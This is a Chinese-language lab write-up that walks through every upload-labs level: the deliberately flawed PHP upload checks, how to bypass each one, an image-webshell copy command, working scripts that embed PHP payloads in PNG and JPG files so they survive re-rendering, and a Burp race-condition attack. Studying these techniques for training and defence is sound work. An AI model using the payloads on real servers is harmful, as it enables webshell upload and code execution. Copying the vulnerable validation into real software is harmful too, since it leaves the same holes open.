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基于upload-labs的文件上传汇总

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前端 js 校验

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function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

上传之前,通过js判断一下文件后缀是否为.jpg|.png|.gif,不是就不允许上传。

绕过方法

对于前端js验证的绕过方法较为简单,我们可以将要上传的php文件改后缀名为 jpg|png|gif,绕过js验证后,再用burp更改上传请求,或者浏览器禁用js后进行上传。

Content-Type 校验

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}

后端php代码只对Content-Type进行了检查

绕过方法

在burp中更改Content-Type进行绕过即可

黑名单校验

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

服务器端做了一个黑名单过滤,过滤了 aspaspxphpjsp

绕过方法

不允许上传.asp,.aspx,.php,.jsp后缀文件,但是可以上传其他任意后缀。比如说:.phtml .phps .php5 .pht,但如果上传的是.php5这种类型文件的话,如果想要被当成php执行的话,需要有个前提条件,即Apache的httpd.conf有如下配置代码

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AddType application/x-httpd-php .php .phtml .phps .php5 .pht

关于AddType命令的作用解释如下

AddType 指令
作用:在给定的文件扩展名与特定的内容类型之间建立映射
语法:AddType MIME-type extension [extension] ...
AddType指令在给定的文件扩展名与特定的内容类型之间建立映射关系。MIME-type指明了包含extension扩展名的文件的媒体类型。
AddType 是与类型表相关的,描述的是扩展名与文件类型之间的关系。

.htaccess 校验

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

绕过方法

没有过滤.htaccess后缀,故此处也可上传.htaccess文件进行绕过。
注: .htaccess文件生效前提条件为

1.mod_rewrite模块开启。

2.AllowOverride All

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。

构造.htaccess文件,内容如下:AddType application/x-httpd-php .jpg
这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析,因此达到了可执行的效果。所以我们可以把要上传的php文件的后缀名改为.jpg格式从而绕过

大小写绕过

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

绕过方法

黑名单多了 .htaccess,所有不能通过 .htaccsess 进行绕过了。但此处代码没有将文件名统一转成小写,故可以通过大小写绕过,用burp将后缀改为大写PHP即可。

空格绕过

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这里将文件后缀名统一进行了小写转换,但是没有去除文件名首尾的空格。所以此处可以利用windows系统的命名规则进行绕过。

Win下xx.jpg[空格] 或xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点
此处会删除末尾的点,但是这里没有去掉末尾的空格,因此上传一个 .php [空格]文件即可

绕过方法

修改文件后缀为1.php .这种形式,从代码执行流程分析来看,会先去除文件名末尾的.,去除之后的文件后缀是 .php[空格],利用.php[空格]绕过黑名单,然后利用windows的文件命名规则默认除去空格和.,达到上传.php的目的。

点绕过

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

加上了首尾去空,但是却少了尾部去点。

Win下xx.jpg[空格] 或xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点
此处会删除末尾的点,但是没有去掉末尾的点,因此上传一个 .php. 文件即可

绕过方法

burp将上传文件后缀改为.php.即可。

::$DATA绕过

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这里还是利用windows的一个特性:

NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA。

简单讲就是在php+windows的情况下:如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名。且保持::$DATA之前的文件名。

注:仅windows适用

绕过方法

用burp将上传文件后缀改为: xx.php::$DATA即可

点空格点绕过

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这里的代码逻辑是先删除文件名末尾的点,再进行首尾去空。都只进行一次。故可以构造点空格点进行绕过,也就是后缀名改为xx.php. .,也是利用了Windows的特性。将后缀名改为xx.php. .即可。

如果目标服务器是windows系统的话,均可用点空格点绕过。

双写绕过

这是个比较经典的绕过方式了,分析代码:

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

没有去除文件尾点、空格、::$DATA的操作,猜测是针对非Windows系统的。这里存在的问题是,利用str_ireplace对黑名单里的文件后缀名进行了替换,换成空字符,使用了str_ireplace函数,即不区分大小写,故大小写绕过不适用。但是这里替换是替换成了空字符,于是我们可以双写后缀名,如.pphphp,使得替换后的后缀名为php

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定义和用法
str_ireplace()函数替换字符串中的一些字符(不区分大小写)。
该函数必须遵循下列规则:
如果搜索的字符串是一个数组,那么它将返回一个数组。
如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。
如果同时需要对某个数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余的元素将用空字符串进行替换。
如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。
注释:该函数是不区分大小写的。使用str_replace()函数执行区分大小写的搜索。
注释:该函数是二进制安全的。

用burp修改后缀名为 .pphphp 即可绕过。

00截断

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$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

使用了白名单,只允许上传 jpgpnggif三种格式文件。但是在进行move_uploaded_file前。利用$_GET['save_path']和随机时间函数进行拼接,拼接成文件存储路径。这里构造文件存储路径利用了GET传入(POST传入也是一样的道理),导致服务器最终存储的文件名可控,故可以利用这个点进行绕过。 这里利用的是00截断。即move_uploaded_file函数的底层实现类似于C语言,遇到0x00会截断。

截断条件:
1、php版本小于5.3.4
2、php.inimagic_quotes_gpc 为OFF状态

构造 save_path=/upload/1.php%00 绕过

图片马 unpack

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function getRealFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = unpack("C2chars", $bin);
//从二进制字符串对数据进行解包:
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getRealFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

分析代码,将上传的文件先读取两字节,通过对比文件头来确认文件类型。
于是就可以制作图片马,将php语句隐藏在图片中,然后结合文件包含漏洞执行php。

绕过方法

利用windows的cmd命令制作copy制作图片马copy 1.jpg /b + shell.php /a shell.jpg,制作完图片马后直接上传,然后利用文件包含即可。

unpack 函数参考

图片马 getimagesize()

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function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

getimagesize() 函数解释

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

绕过方法与 unpack 一致

exif_imagetype()

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function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

exif_imagetype 函数说明

exif_imagetype() 读取一个图像的第一个字节并检查其签名,如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE

绕过方法同生成图片马

二次渲染

参考:这篇文章 讲的很细

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

先是判断 Content-Type,然后再用imagecreatefrom[gif|png|jpg]函数判断是否是图片格式,如果是图片的话再用image[gif|png|jpg]函数对其进行二次渲染。

我们可以上传一个正常的图片文件,观察其上传前和上传后图片的二进制流是否发生变化,比如我用copy命令生成了shell.jpg,用十六进制编辑器打开可以看到文件末尾有我们加入的php语句,将其上传,将服务器保存的即被二次渲染过的图片保存下来。将被二次渲染过的图片用十六进制编辑器打开,可以看到图片的大小大幅减小,且前面加入的PHP代码也不见了。

绕过方法

gif

gif二次渲染绕过说是最简单的。将源文件和二次渲染过的文件进行比较,找出源文件中没有被修改的那段区域,在那段区域写入php代码即可。用UE的比较功能,可以迅速找到两者匹配的地方。在匹配处写入php代码即可。

png

png的文件组成参考 另一篇博客,也是通过参考文章整理出来的。

写入PLTE数据块

php底层在对PLTE数据块验证的时候,主要进行了CRC校验.所以可以再chunk data域插入php代码,然后重新计算相应的crc值并修改即可.

这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像.

  1. 在PLTE数据块写入php代码.

    1WObmF.png

  2. 计算PLTE数据块的CRC,脚本:

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    import binascii
    import re

    png = open(r'2.png','rb')
    a = png.read()
    png.close()
    hexstr = binascii.b2a_hex(a)

    ''' PLTE crc '''
    data = '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
    crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
    print hex(crc)

    运行结果

    1
    526579b0
  3. 修改CRC值

    1WOqw4.png

  4. 验证

    将修改后的png图片上传后,下载到本地打开

    1WOXk9.png

写入IDAT数据块

国外大牛写的脚本,直接拿来运行即可

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<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

运行后得到1.png.上传后下载到本地打开如下图

1WOLTJ.png

jpg

国外大牛编写的脚本jpg_payload.php

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<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = "<?=phpinfo();?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

使用方法

随便找一个jpg图片,先上传至服务器然后再下载到本地保存为1.jpg

插入php代码

使用脚本处理1.jpg,命令php jpg_payload.php 1.jpg

1WO7OU.png

使用16进制编辑器打开,就可以看到插入的php代码。

1WOjYR.png

上传图片马

上传上去并验证

验证

将上传的图片再次下载到本地,使用16进制编辑器打开

1WOvf1.png

可以看到,php代码没有被去除。
证明我们成功上传了含有php代码的图片。

需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片。

简单总结就是:

1
先将一张正常的jpg图片上传,上传后将服务器存储的二次渲染的图片保存下来。将保存下来经过服务器二次渲染的那张jpg图片,用此脚本进行处理生成payload.jpg,然后再上传payload.jpg

条件竞争

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$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

先move_uploaded_file函数将上传文件临时保存,再进行判断,如果不在白名单里则unlink删除,在的话就rename重命名,所以存在条件竞争。

绕过方法

用burp开启两个intruder模块,一个用于重复上传,另一个用于重复访问。

  1. 先设置上传请求,记住此处的文件名,等下要用来拼接访问请求的url

    1WXrN9.png

  2. 此处没有什么参数需要爆破,只是需要重复发起请求,所以payload设置为Null payloads,设置访问次数5000次,线程50个

    1WXc1x.png

接下来设置访问请求

  1. 浏览器构造请求url:http://127.0.0.1/upload-labs-master/upload/miracle778.php,进行访问,然后用burp抓包
  2. burp抓包后发送至intruder模块,然后设置payload,这一步和上传请求设置差不多,都是Null payloads、5000次、50个线程

设置好两个模块后同时启动,观察结果,因为我们传入的php代码是phpinfo();,所以如果访问成功的话,会返回php的配置信息。

1WXgc6.png

5000次里有3次访问成功,剩下的访问次数里,有小部分是状态码返回200,但执行出错

1WXshR.png

剩下大部分访问结果是状态码是404。
